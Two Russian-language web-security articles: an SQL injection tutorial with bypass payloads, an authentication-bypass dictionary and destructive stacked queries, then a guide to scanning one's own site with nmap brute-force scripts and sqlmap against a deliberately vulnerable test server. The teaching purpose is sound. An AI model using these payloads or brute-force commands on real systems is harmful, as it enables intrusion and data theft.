Типы SQLi
Существует 5 основных типов SQL инъекций:
- Классическая (In-Band или Union-based). Самая опасная и редко встречающаяся сегодня атака. Позволяет сразу получать любые данные из базы.
- Error-based. Позволяет получать информацию о базе, таблицах и данных на основе выводимого текста ошибки СУБД.
- Boolean-based. Вместо получения всех данных, атакующий может поштучно их перебирать, ориентируясь на простой ответ типа true/false.
- Time-based. Похожа на предыдущую атаку принципом перебора, манипулируя временем отклика базы.
- Out-of-Band. Очень редкие и специфические типы атак, основанные на индивидуальных особенностях баз данных.
Далее мы разберем их детальней.
Уязвимые точки
Уязвимые точки для атаки находятся в местах, где формируется запрос к базе: форма аутентификации, поисковая строка, каталог, REST-запросы и непосредственно URL.
Защита от SQLi
Для каждого сервера и фреймворка есть свои тонкости и лучшие практики, но суть всегда одинакова.
Нельзя вставлять данные в запрос напрямую. Всегда обрабатывайте ввод отдельно и формируйте запрос исключительно из безопасных значений.
Создавайте белые списки: их значительно труднее обойти, чем черные. Все названия таблиц, полей и баз должны быть заданы конкретными значениями в вашей программе. Это касается и операторов.
Естественно, не забывайте про ограничение прав доступа к базе.
Тем не менее, кибербезопасность – это тот случай, когда понимание принципов нападения – лучший способ защиты.
Классические атаки
Самый простой пример критически уязвимого для SQLi кода выглядит следующим образом:
userName = getRequestString("UserName");
request = "SELECT * FROM Users WHERE UserName = " + userName;
Представляя такой антипример, можно понять принцип действия атак, которые мы рассмотрим ниже.
Комментирование
Использование однострочных комментариев позволяет игнорировать часть запроса, идущую после вашей инъекции. Например, ввод в уязвимое поле Username запроса admin’— позволит зайти на ресурс под администратором, потому что поверка пароля будет закомментирована. Конечно, сейчас такой тип уязвимости встречается очень редко, но помнить о ней стоит.
SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
Многострочные комментарии могут справится с проверкой или определить тип базы данных. Например, подобные запросы обойдут примитивный текстовый анализ:
DROP/*some comment*/sampletable
DR/**/OP/*random comment to cheat*/sampletable
А некоторые особые комментарии позволят определить тип базы данных в целях дальнейшей эксплуатации уязвимостей:
/*!Если поместить код в такой комментарий - он будет исполнен только в MYSQL.
Можно даже ограничить минимальную версию*/
такой запрос вернёт ошибку деления на ноль, если MYSQL сервер выше указанной версии
SELECT /*!!50100 1/0, */ 1 FROM tablename
Манипуляции со строками
Существует ряд более продвинутых способов обходить черные списки. Например, против фильтра кавычек можно использовать конкатенацию строк:
#SQL Server
SELECT login + '-' + password FROM members
#MySQL
SELECT CONCAT(login, password) FROM members
В MySQL для обхода сложных паттернов можно представлять строки в шеснадцатиричном виде, с помощью функции HEX() или вводить их посимвольно:
//0x633A5C626F6F742E696E69 == c:boot.ini
SELECT CONCAT('0x','633A5C626F6F742E696E69'))
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))
Обход аутентификации
Есть стандартный словарь, содержащий в себе основные запросы, для обхода уязвимой формы аутентификации. Впервые его опубликовали лет 10 назад и регулярно дополняют. Не забудьте прогнать через него формы регистрации на своем сайте:
' or 1=1
' or 1=1--
' or 1=1#
' or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
Union injection
UNION это SQL-команда, позволяющая вертикально комбинировать данные из разных таблиц в одну. Это одна из самых популярных и опасных классических инъекций.
Допустим, на сайте есть список товаров с уязвимой строкой поиска. Тогда, подобрав правильное количество колонок и определив их название, через UNION можно вывести практически любые данные.
SELECT name, price FROM products UNION ALL SELECT name, pass FROM members
#Такой запрос позволит получить данные о таблицах и найти таблицу пользователей
UNION(SELECT TABLE_NAME, TABLE_SCHEMA FROM information_schema.tables)
Последовательные запросы
Если целевой сервис работает на SQL Server и ASP/PHP, либо на PostgreSQL и PHP, можно использовать простой знак ‘;’ для последовательного вызова вредоносных запросов:
#Удаление таблицы
SELECT * FROM products WHERE productName = ""; DROP users--
#Выключение SQL Server
SELECT * FROM products WHERE productName = ""; shutdown –
Возможный урон
Конкретных примеров и нюансов довольно много, не будем перечислять все. Главное, помните, что комбинируя эти приёмы и различные специфические функции, атакующий может получить полный доступ к базе и даже командной строке.
Error-Based
Чтобы побороть этот тип атак, достаточно запретить вывод ошибок на проде. Тем не менее, давайте на примере разберем, чем вам может грозить игнорирование этой меры.
Последовательное выполнение следующих запросов к SQL Server, позволит определить в тексте ошибки названия столбцов:
' HAVING 1=1 --
' GROUP BY table.columnfromerror1 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
.....
' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 --
Если ошибки перестали появляться, значит столбцы закончились
Слепые инъекции
В более-менее хорошо сделанном приложении атакующий не увидите ни ошибок, ни результата UNION-атаки. Тут приходит очередь действовать вслепую.
Условные выражения
Атаки с использованием IF и WHERE – основа слепого метода. Они являются одной из причин, почему используемые вами операторы должны быть закодированы в программе, а не генерироваться абы как. Синтаксис для разных баз будет отличаться:
#MySQL
IF(condition,true-part,false-part)
#SQL Server
IF condition true-part ELSE false-part
#Oracle
BEGIN
IF condition THEN true-part; ELSE false-part; END IF; END;
#PostgreSQL
SELECT CASE WHEN condition THEN true-part ELSE false-part END;
Boolean-based
Если атакующий все же может получить информацию о наличии или отсутствии ошибки из HTTP-статуса, в сервисе имеется уязвимость к обычной слепой атаке. Рассмотрим запрос, который позволит нам при помощи алгоритма бинарного поиска посимвольно определить название первой таблицы и в дальнейшем всех данных:
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND
name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--
#Этот запрос говорит нам, что ASCII-значение первого символа больше 78
#дальнейший перебор определит точное значение
Time-Based
Если атакующий не наблюдает никаких отличий в ответах сервера, остается полностью слепая атака. Примером будет использование функций SLEEP или WAIT FOR DALAY:
SELECT * FROM products WHERE id=1; WAIT FOR DELAY '00:00:15'
Конечно, реальные примеры будут выглядеть примерно как boolean-based, только true и false атакующий будет отличать по времени отклика. Недостатки такого метода очевидны. Если выбрать слишком маленькую задержку, будет сильное влияние сторонних факторов типа пинга. Если слишком большую – атака займет очень много времени и её, скорее всего, остановят.
Конечно, по SQLi можно писать целые книги, но мы постарались объяснить ключевые принципы с примерами.
Поделитесь в комментариях, каким стеком пользуетесь и как защищаете свой проект?
Пошагово расскажу как за полчаса комплексно проверить безопасность сайта даже если вы не программист. Статья будет полезна разработчикам, тестировщикам, а также владельцам сайтов.
Всем привет! Сейчас большинство статей в интернете по теме поиска уязвимостей на своем сайте делятся на два типа: это либо банальный список онлайн-сканеров без подробных инструкций как ими пользоваться, либо хардкорные мануалы для фанатов информационной безопасности и прочих хакеров, где без Линукса не разобраться.
Поэтому я решил написать статью, которой мне не хватало, когда я только начинал разбираться в этой теме. Надеюсь эта статья сделает интернет чуть-чуть безопаснее, а вам поможет найти даже те уязвимости, которые вы изначально не закладывали😃.
Статья пригодится:
- Backend разработчикам: вы сможете быстро тестировать свои веб-приложения на наличие уязвимостей и тем самым повысить их надежность и безопасность данных ваших пользователей. (Если конечно исправите уязвимости, которые найдете )
- Frontend разработчикам: пока npm собирает ваш фронтенд, вы как раз успеете проверить API вашего веб-приложения. А если повезет и вы сможете найти уязвимости, то вы не только поможете своей компании в будущем сохранить свою репутацию (а себе выбить премию), но и сможете целую неделю незлобно троллить ваших backend разработчиков и DevOps инженеров в общем чате.
- Тестировщикам: освоите новые инструменты и сможете требовать законную прибавку к зарплате, а также немного считать себя хакерами.
- Владельцам веб-сайтов и стартаперам без раунда: вы сможете самостоятельно базово проверить свой сайт без привлечения дорогостоящих экспертов, а также сможете лучше понимать технические особенности работы вашей бизнес-машины.
А нужно ли проверять?
Немного фактов и мнений:
Факт доказанный практикой и личным опытом: даже если у вас небольшой интернет-магазин, в 2020 вы уже будете подвергаться кибератакам по несколько раз в день.
С момента попадания в индекс GoogleYandex ваш сайт становится мишенью десятка (а если сайт крупный, то сотни) специализированных ботов, которые круглосуточно мониторят даже небольшие сайты и серверы для поиска уязвимостей и дальнейшего взлома.
У вас может быть грамотная архитектура, красивый дизайн, быстрая скорость загрузки, но всего лишь небольшая ошибка или невнимательность разработчика может серьезно навредить вашему бизнесу. Поэтому необходимо регулярно проверять свой сайт или веб-приложение на наличие уязвимостей.
Хорошая новость — сейчас можно самостоятельно просканировать свое веб-приложение различными бесплатными сканерами безопасности и найти уязвимые места заранее.
Внимание, использование подобных сканеров уязвимостей на чужих сайтах без разрешения владельцев является нарушением закона почти во всех странах.
Теперь я наглядно и пошагово покажу как с помощью таких инструментов самостоятельно проверить свой сайт, а также как разобраться в сгенерированных отчетах .
Что будем проверять:
- Доступ к серверу и исходным кодам
- Уязвимости веб-серверов (Apache или NGINX)
- SQL инъекции
- Межсайтовый скриптинг (XSS).
- Устойчивость приложения и сервера к перебору паролей
- Получение доступа к системным каталогам
Если вы пока еще не знаете, что означают все эти страшные слова и сокращения на английском, то не переживайте, по ходу статьи я обязательно объясню их значения.
В качестве подопытного сайта я написал и развернул небольшой самописный блог с возможностью оставлять комментарии к статьям и добавил в него весь джентльменский набор:
- Многочисленные SQL инъекции
- XSS уязвимости
- Простой пароль для ssh доступа
- Открытый ftp
- Отсутствие защиты от перебора паролей
- База данных, доступная из интернета с простым паролем
- Слишком широкие права доступа к папкам и файлам
В общем все так, как делать не надо.
1. Проверяем сетевую инфраструктуру.
В кибератаках, также как и войне, все начинается с разведки, чтобы найти уязвимое место соперника. Для того, чтобы эффективно атаковать, злоумышленникам необходимо знать, какое ПО используется на сервере и какие двери открыты или закрыты недостаточно крепко. К несчастью владельцев сайтов, сейчас, чтобы все это узнать, нужно лишь здравое любопытство и утилита nmap.
Nmap — это набор инструментов для сканирования сетевой инфраструктуры веб-сервиса. Он может быть использован для проверки безопасности, для идентификации запущенных серверных приложений.
Nmap позволяет запускать готовые скрипты, которые значительно упрощают анализ вашего сервера. Минус — теперь даже смышленный школьник, вооружившись пачкой скриптов, может предоставлять опасность для серверов компании.
Интересный факт — сyществует целая галерея фильмов, где утилита nmap используется для кибератак. Часть представлено в галерее, под каждой картинкой описание. Более полный список и разбор можно посмотреть по ссылке
Посмотрели картинки, теперь можно и поработать! Приступаем к делу.
Устанавливаем nmap
В установке нет ничего сложного. Примеры установки покажу на примере Windows и Mac OS. В дистрибутивах Linux последняя версия nmap обычно установлена по умолчанию.
Установка на Windows 10
Перейдите по ссылке загрузки nmap и загрузите последнюю стабильную версию. На данный момент (16.09.2020) эта версия 7.80. Скачать ее можно по этой ссылке с официального сайта. Дальше запустите nmap-7.80-setup.exe от имени администратора. Программа установки по умолчанию предложит установить все компоненты, галочки можно не снимать. Описывать шаги далее подробно ( Примите лицензионное соглашение и тд) не буду, там все изи.
Запуск nmap на Windows
Запускать nmap можно как в режиме графического интерфейса, так и через командную строку.
Для запуска графической оболочки введите в строку поиска nmap и в результатах выберите nmap — Zenmap GUI
Для дальнейшей работы вы можете вводить нужные команды в поле «Команда», а затем нажимать на кнопку Сканирование. Результаты сканирования в виде текстового отчета вы можете посмотреть в окне, которое я старательно подписал «Отчет»
Мне ближе использование nmap через командную строку aka консоль. Для запуска командной строки введите «cmd» в строку поиска на панели инструментов. Нажмите Enter и затем откроется командная строка. Дальше прямо в нее можно вводить nmap команды.
Командная строка в Windows 10 c введенной командой nmap выглядит вот так:
Mac OS X
Нажмите Command+Space и введите «Терминал», после этого нажмите Enter. Дальше последнюю версию nmap можно установить через менеджер HomeBrew c помощью следующей команды, которую нужно ввести в терминале:
brew install nmap
Для запуска nmap просто начинайте команду с nmap, ничего сложного 
nmap localhost
Устанавливаем скрипты
Также нам надо установить скрипт nmap_vulners, который будет проводить проверку на то, содержатся ли уязвимости в ПО, которое мы используем. Для его установки нужно скачать файлы скрипта и перенести файлы http-vulners-regex.nse и vulners.nse в C:Program Files (x86)Nmapscripts.
Если у вас Mac OS, то перенести файлы скрипта нужно в папку /usr/local/Cellar/nmap/<version>/share/nmap/scripts/
Начинаем проверку
Для начала запускаем сканирование своего сервера командой ниже, чтобы выяснить какие порты используются и для чего. Команда выглядит так (подставьте свой ip или домен). Команду нужно вводить в окне консоли, либо если вы используете Zenmap GUI, то в поле «Команда» (пример я привел выше):
nmap -sV -Pn -p- -T5 161.35.92.161
Параметр T5 отвечает за скорость анализа сервера. Скорость можно менять от T0 до T5, где T0 — очень медленная скорость анализа, а T5 — очень быстрая. Если вы не хотите сильно нагружать сервер, то используйте T2.
Параметр -p- означает, что мы будем проверять весь диапазон портов (‘это займет около 10 минут) . Его можно убрать и тогда скрипт просканирует не все порты, а только 1000 первых (самые распространенные).
Ответ будет выглядеть примерно так:
nmap -sV -Pn 161.35.92.161
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-16 20:03 RTZ 2 (ceia)
Nmap scan report for 161.35.92.161
Host is up (0.085s latency).
Not shown: 965 filtered ports, 31 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
3306/tcp open mysql MySQL 5.5.5-10.2.24-MariaDB
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.39 seconds
Из отчета мы видим, что nmap отобразил нам порты (под колонкой PORT), которые активны. В данном случае у нас используются:
- Порт 21 занят под FTP
- Порт 22 занят под SSH.
- Порт 80 прослушивается сервером Apache.
- Порт 3306 используется MySQL
Теперь запускаем наш скрипт, который проверит уязвимости в нашем ПО на сервере. Для этого запускаем следующую команду с указанием портов, которые мы будем проверять. Вам нужно будет заменить список портов на свои .
nmap -T5 -sV -Pn 161.35.92.161 —script=vulners.nse -p22,80,443,8080,8443,3306,20,21,23
Пример отчета. Ссылки на описание уязвимости идут после строки vulners (пример такой строки со ссылкой в отчете: CVE-2014-9278 4.0 https://vulners.com/cve/CVE-2014-9278)
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-16 20:50 RTZ 2 (ceia)
Nmap scan report for 161.35.92.161
Host is up (0.094s latency).
PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| vulners:
| cpe:/a:openbsd:openssh:8.2p1:
|_ CVE-2014-9278 4.0 https://vulners.com/cve/CVE-2014-9278
23/tcp filtered telnet
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| vulners:
| cpe:/a:apache:http_server:2.4.41:
| CVE-2020-11984 7.5 https://vulners.com/cve/CVE-2020-11984
| CVE-2020-11984 7.5 https://vulners.com/cve/CVE-2020-11984
| CVE-2020-1927 5.8 https://vulners.com/cve/CVE-2020-1927
| CVE-2020-1927 5.8 https://vulners.com/cve/CVE-2020-1927
| CVE-2020-9490 5.0 https://vulners.com/cve/CVE-2020-9490
| CVE-2020-1934 5.0 https://vulners.com/cve/CVE-2020-1934
| CVE-2020-1934 5.0 https://vulners.com/cve/CVE-2020-1934
|_ CVE-2020-11993 4.3 https://vulners.com/cve/CVE-2020-11993
443/tcp closed https
3306/tcp open mysql MySQL 5.5.5-10.2.24-MariaDB
8080/tcp filtered http-proxy
8443/tcp filtered https-alt
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.23 seconds
Как видите из отчета, скрипт проанализировал активное ПО нашего сервера и любезно предоставил ссылки с описанием каждой найденной уязвимости. Что согласитесь, очень удобно как для нас, так и для злоумышленников.
Также можно записать результат анализа в файл, который потом можно скинуть ответственному разработчику или системному администратору. Сам файл результатов будет находиться в каталоге, из которого вы запускаете скрипт. Пример такой команды ниже:
nmap -T5 -sV -Pn 161.35.92.161 —script=vulners.nse -p22,80,443,8080,8443,3306,20,21,23 > result.txt
Чтобы избавиться от подобных проблем обычно достаточно обновить используемое ПО до последних версий, где уязвимости старых версий, как правило, уже исправлены.
2. Проверяем устойчивость к перебору.
В нашем случае nmap определил, что на сервере есть ssh, ftp и mysql. Попробуем проверить насколько устойчивые пароли используются.
SSH
Вводим следующую команду (напомню, что вводить нужно либо в консоль, либо в поле «Команда» программы Zenmap GUI.
nmap —script ssh-brute -p22 161.35.92.161 —script-args userdb=users.lst,passdb=passwords.lst
В случае успеха (процесс не быстрый) скрипт выведет подобранный пароль и логин . Подобранные пары логинпароль будут выведены после строчки Accounts:
22/ssh open ssh
ssh-brute:
Accounts
username:password
Statistics
Performed 32 guesses in 25 seconds.
Кроме того, можно расширить стандартные списки паролей и пользователей от nmap, заменив файлы users.lst и passwords.lst . Различные базы для брутфорса можно найти в этом gitbub репозитории. Файлы с базой паролей можно разместить в папке nmap/nselib/data
FTP
Теперь проверяем FTP порт следующей командой:
nmap -d —script ftp-brute -p 21 161.35.92.161
Аналогично, сервис выведет подобранные пары логинов и паролей:
PORT STATE SERVICE
21/tcp open ftp
| ftp-brute:
| Accounts
| root:root — Valid credentials
|_ Statistics: Performed 864 guesses in 544 seconds, average tps: 4.8
MySQL
Проверяем доступен ли анонимный вход.
nmap -sV —script=mysql-empty-password <target>
В случае успеха:
3306/tcp open mysql
| mysql-empty-password:
| anonymous account has empty password
|_ root account has empty password
Пытаемся подобрать пару логинпароль для входа в базу данных mysql.
nmap —script mysql-brute -p 3306 <target>
—script-args userdb=users.lst, passdb=passwords.lst
Также если у вас используются CMS (WordPress, Joomla, Drupal, Bitrix) и другие базы данных (Mongo, Postgres, Redis), то можно найти готовые скрипты для проверки устойчивости ваших паролей и форм. Ищите по ключевым словам <name_of_CMS_or_DB> brute force nmap
Проверяем формы авторизации
Найти формы авторизации можно с помощью такой команды (вместо <target> — подставьте домен вашего сайта):
nmap -p80 —script http-auth-finder <target>
После того, как нашли страницы с авторизацией, можно попробовать подобрать пароль и логин для входа в админку сайта.
Параметры
- http-brute.hostname — имя хоста
- http-form-brute.path — адрес страницы с формой или адрес с API
- http-brute.method — тип метода, по умолчанию POST
- http-form-brute.uservar — устанавливает имя переменной, которая отвечает за username. Если не установлено, то скрипт возьмет имя поля из формы
- http-form-brute.passvar — устанавливает имя переменной, которая отвечает за пароль. Если не установлено, то скрипт возьмет имя поля из формы
Параметры нужно перечислять через запятую после -script-args.
nmap -p-80 —script=http-form-brute —script-args=http-form-brute.path=/login <target>
Если скрипт успешно сработает, то выведет примерно вот такой результат.
Подобранные данные для входа будут отображены после строчки Accounts. В нашем случае скрипт подобрал логин user с паролем secret. В реальном приложении подбор может также занять продолжительное время, зависит от того насколько стойкий пароль используется.
PORT STATE SERVICE REASON
80/tcp open http syn-ack
| http-form-brute:
| Accounts
| user:secret — Valid credentials
| Statistics
|_ Perfomed 60023 guesses in 467 seconds, average tps: 138
Если ваша формы авторизации использует cookies параметры или csrf-token, то в этом случае выдаст ошибку. (И это хорошо, значит базовую защиту вы предусмотрели).
В качестве защиты стоит использовать стойкие пароли, а также ограничивать количество запросов с одного IP-адреса (Rate limiting).
3. Ищем скрытые папки и файлы
Часто разработчики или системные администраторы довольно халатно относятся к правам доступа и забывают закрыть доступ к системным и другим важным папкам. Проверить есть у нас на сервере такие папки можно также с помощью утилиты nmap. Команды будет выглядеть так (вместо <target> нужно подставить IP-адрес сервера или домен сайта) :
nmap -sV -p 80 -T5 —script http-enum <target>
В результате в отчете нам покажут доступные для просмотра папки, интересные файлы — файлы паролей, резервные копии базы данных и тд. (Если такие существуют). Дальше уже вам нужно самостоятельно решить какие папки и файлы нужно закрыть от просмотра, а какие оставить как есть.
Пример небольшого отчета.
Host is up (0.024s latency).
Not shown: 993 closed ports
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /robots.txt: Robots file
| /css/: Potentially interesting directory w/ listing on ‘apache/2.4.41 (ubuntu)’
| /images/: Potentially interesting directory w/ listing on ‘apache/2.4.41 (ubuntu)’
|_ /js/: Potentially interesting directory w/ listing on ‘apache/2.4.41 (ubuntu)’
4. Проверяем на SQL инъекции
Так повелось, что большинство современных веб-приложений в той или иной мере используют SQL базы данных. Обычно параметры веб-страницы или какие-либо пользовательские данные подставляются в SQL запросы и результаты запроса отображаются на веб-странице. Если передаваемые параметры плохо фильтруются, то веб-сервис становится уязвимым для SQL инъекций.
Если сайт уязвим и выполняет такие инъекции, то по сути есть возможность творить с БД (чаще всего это MySQL) что угодно. Именно таким образом чаще всего воруют базы пользователей и их личные данные.
Далее я покажу как с помощью скриптов быстро и эффективно проверить есть в вашем продукте подобные уязвимости. Часто даже довольно опытные разработчики забывают о мерах предосторожности, поэтому даже серьезные продукты имеют подобные проблемы. Попробуем проверить наш тестовый веб-сервис на наличие таких проблем c помощью инструмента sqlmap.
Установка sqlmap.
Sqlmap — это кроссплатформенный сканер с открытым исходным кодом, который позволяет в автоматическом режиме тестировать веб-сервисы на наличие SQL инъекций, а затем использовать их для получения контроля над базой данных.
В данной статье я рассмотрю только способы как можно находить уязвимые для SQL инъекций страницы, API и формы без подробностей о том, как использовать найденные уязвимости для нанесения вреда. (Владельцы сайтов тут облегченно вздохнули). Для использования необходим python версии 2.7 и старше.
Установка на Windows
Для начала работы нам необходимо установить Python. Установщик Python для Windows можно найти на официальном сайте. Ссылку я прикрепил ниже.
На сайте две ветки — 2.x и 3.x, но скачать и установить лучше ветку 3.x. Sqlmap корректно работают с каждой из этих версий, но в дальнейшем нам потребуется версия 3.x.
Загрузить последнюю версию sqlmap можно здесь. Распакуйте архив в любую удобную папку (чтобы было проще ее найти можно распаковать в папку С:Users<имя вашего пользователя>)
Для запуска вначале нужно открыть командную строку. Нажмите Win+R, в появившемся окне введите cmd и нажмите enter. Пример запуска:
С:UsersAdminsqlmap>python ./sqlmap.py -u http://161.35.92.161/page.php?id=2
Установка на Mac OS X
Для начала установим Python. Для этого откройте Tерминал и запустите следующую команду.
brew install python3
Теперь установим sqlmap.
brew install sqlmap
Запуск sqlmap для Mac OS X.
sqlmap -u http://161.35.92.161/page.php?id=2 —dbs -o -random-agent
Начинаем проверку
В моем тестируемом сервисе я специально подготовил sql уязвимости. Попробуем найти их следующей командой. Параметр —dbs означает, что нам интересны имена баз данных. В случае успеха и наличия уязвимости, после определения баз данных можно перейти к поиску таблиц и получения нужных данных. Команду необходимо вводить в консоль.
python sqlmap.py -u http://161.35.92.161/page.php?id=2 —dbs -o -random-agent
Через некоторое время скрипт может попросить нас уточнить некоторые данные. В данном случае выбираю «нет», чтобы скрипт прогнал все тесты.
[01:14:57] [INFO] fetched random HTTP User-Agent header value ‘Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6; MSIECrawler)’ from file ‘C:UsersAcersqlmapdatatxtuser-agents.txt’
[01:15:04] [INFO] testing connection to the target URL
[01:15:04] [INFO] checking if the target is protected by some kind of WAF/IPS
[01:15:05] [INFO] testing NULL connection to the target URL
[01:15:05] [INFO] NULL connection is supported with GET method (‘Range’)
[01:15:05] [INFO] testing if the target URL content is stable
[01:15:05] [INFO] target URL content is stable
[01:15:05] [INFO] testing if GET parameter ‘id’ is dynamic
[01:15:05] [INFO] GET parameter ‘id’ appears to be dynamic
[01:15:06] [INFO] heuristic (basic) test shows that GET parameter ‘id’ might be injectable
[01:15:06] [INFO] testing for SQL injection on GET parameter ‘id’
[01:15:06] [INFO] testing ‘AND boolean-based blind — WHERE or HAVING clause’
[01:15:06] [INFO] GET parameter ‘id’ appears to be ‘AND boolean-based blind — WHERE or HAVING clause’ injectable
[01:15:07] [INFO] heuristic (extended) test shows that the back-end DBMS could be ‘CrateDB’
it looks like the back-end DBMS is ‘CrateDB’. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
Скрипт выводит отчет:
[01:15:29] [INFO] testing ‘MySQL >= 5.0 AND error-based — WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)’
[01:15:29] [INFO] testing ‘PostgreSQL AND error-based — WHERE or HAVING clause’
[01:15:29] [INFO] testing ‘Microsoft SQL Server/Sybase AND error-based — WHERE or HAVING clause (IN)’
[01:15:30] [INFO] testing ‘Oracle AND error-based — WHERE or HAVING clause (XMLType)’
[01:15:30] [INFO] testing ‘MySQL >= 5.0 error-based — Parameter replace (FLOOR)’
[01:15:30] [INFO] testing ‘Generic inline queries’
[01:15:30] [INFO] testing ‘PostgreSQL > 8.1 stacked queries (comment)’
[01:15:30] [WARNING] time-based comparison requires larger statistical model, please wait…………………. (done)
[01:15:32] [INFO] testing ‘Microsoft SQL Server/Sybase stacked queries (comment)’
[01:15:32] [INFO] testing ‘Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE — comment)’
[01:15:32] [INFO] testing ‘MySQL >= 5.0.12 AND time-based blind (query SLEEP)’
[01:15:43] [INFO] GET parameter ‘id’ appears to be ‘MySQL >= 5.0.12 AND time-based blind (query SLEEP)’ injectable
[01:15:43] [INFO] testing ‘Generic UNION query (NULL) — 1 to 20 columns’
[01:15:43] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[01:15:45] [INFO] target URL appears to be UNION injectable with 4 columns
[01:15:46] [INFO] GET parameter ‘id’ is ‘Generic UNION query (NULL) — 1 to 20 columns’ injectable
GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
После продолжения анализа нас в первую очередь интересует строчка в конце: GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N].
Как можно видеть, скрипт определил, что параметр id уязвим и предлагает протестировать другие параметры. В нашем конкретном случае других параметров нет, но в реальных веб-приложениях таких параметров может быть десятки, так что иногда имеет смысл проверить все.
Итоговый отчет:
sqlmap identified the following injection point(s) with a total of 74 HTTP(s) requests:
—
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind — WHERE or HAVING clause
Payload: id=2 AND 9795=9795
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=2 AND (SELECT 7989 FROM (SELECT(SLEEP(5)))geJr)
Type: UNION query
Title: Generic UNION query (NULL) — 4 columns
Payload: id=2 UNION ALL SELECT NULL,CONCAT(0x716a6a6b71,0x736654714b69505a4f6f64434776566d7a43455179446561434f7a46434241555449574d6759575a,0x7162627171),NULL,NULL— —
—
[INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12
[INFO] fetching database names
available databases [2]:
[*] information_schema
[*] vc_test
[INFO] fetched data logged to text files under ‘C:UsersAdminAppDataLocalsqlmapoutput161.35.92.161’
В итоге скрипт не только определил, что параметр id является уязвимым, но и версию СУБД, а также получил название используемой базы данных на сервере — vc_test, в которой содержится контент сайта. Эту информацию можно найти в конце сгенерированного отчета.
В дальнейшем для злоумышленника уже обычно не проблема получить данные в таблицах, а возможно и полный контроль над всей БД, а то и всем нашим сервером и исходным кодом сайта, если для запросов используется пользователь с широкими правами.
Кроме того, sqlmap позволяет задавать http заголовки и параметры Cookies, что довольно удобно для тестирования, особенно когда для получения результата запроса требуется авторизации.
Пример тестирования запроса POST. Параметры, которые передаются в теле запроса записываются в опцию скрипта —data. Необходимые параметры для POST запроса можно подсмотреть в консоли браузера (Ctrl + Shift + I в Windows, затем перейти в вкладку Network, совершить нужное действие, а затем изучить каким образом формируется запрос)
sqlmap.py -u http://localhost/login —data=»username=alex&password=pass» —dbs -o -random-agent
После авторизации обычно необходимо передать нужные Сookie. В sqlmap за это отвечает опция —cookie. Нужные значения cookies можно получить в инструментах разработчика вашего браузера. (в Windows ctrl+shift+i, затем найдите вкладку Network, а в ней щелкните на запрос с именем домена сайта. В окне справа пролистайте пока не увидите параметр cookie)
Пример команды sqlmap c опцией —cookie.
sqlmap.py -u http://localhost/create —data=»name=alex&message=hacked» —cookie=»security_level=low; PHPSESSID=05aa4349068a1kkaje4kcqnr9o6″ —dbs -o -random-agent
Если параметров несколько, то можно явно указать какой параметр будем тестировать с помощью опции -p.
sqlmap.py -u «http://localhost/profile/?username=alex&page=2» -p username
Можно задавать http заголовки через опцию —headers. Это крайне полезно для тестирования ваших API.
Также если get параметр передается не как get параметр, а как URI, то в этом случае нужно явно указать с помощью *, что данная часть URI является параметром. Пример:
sqlmap.py -u «http://localhost/api/v2/news/2*» —headers=»Authorization: Bearer <token>» —dbs -o -random-agent
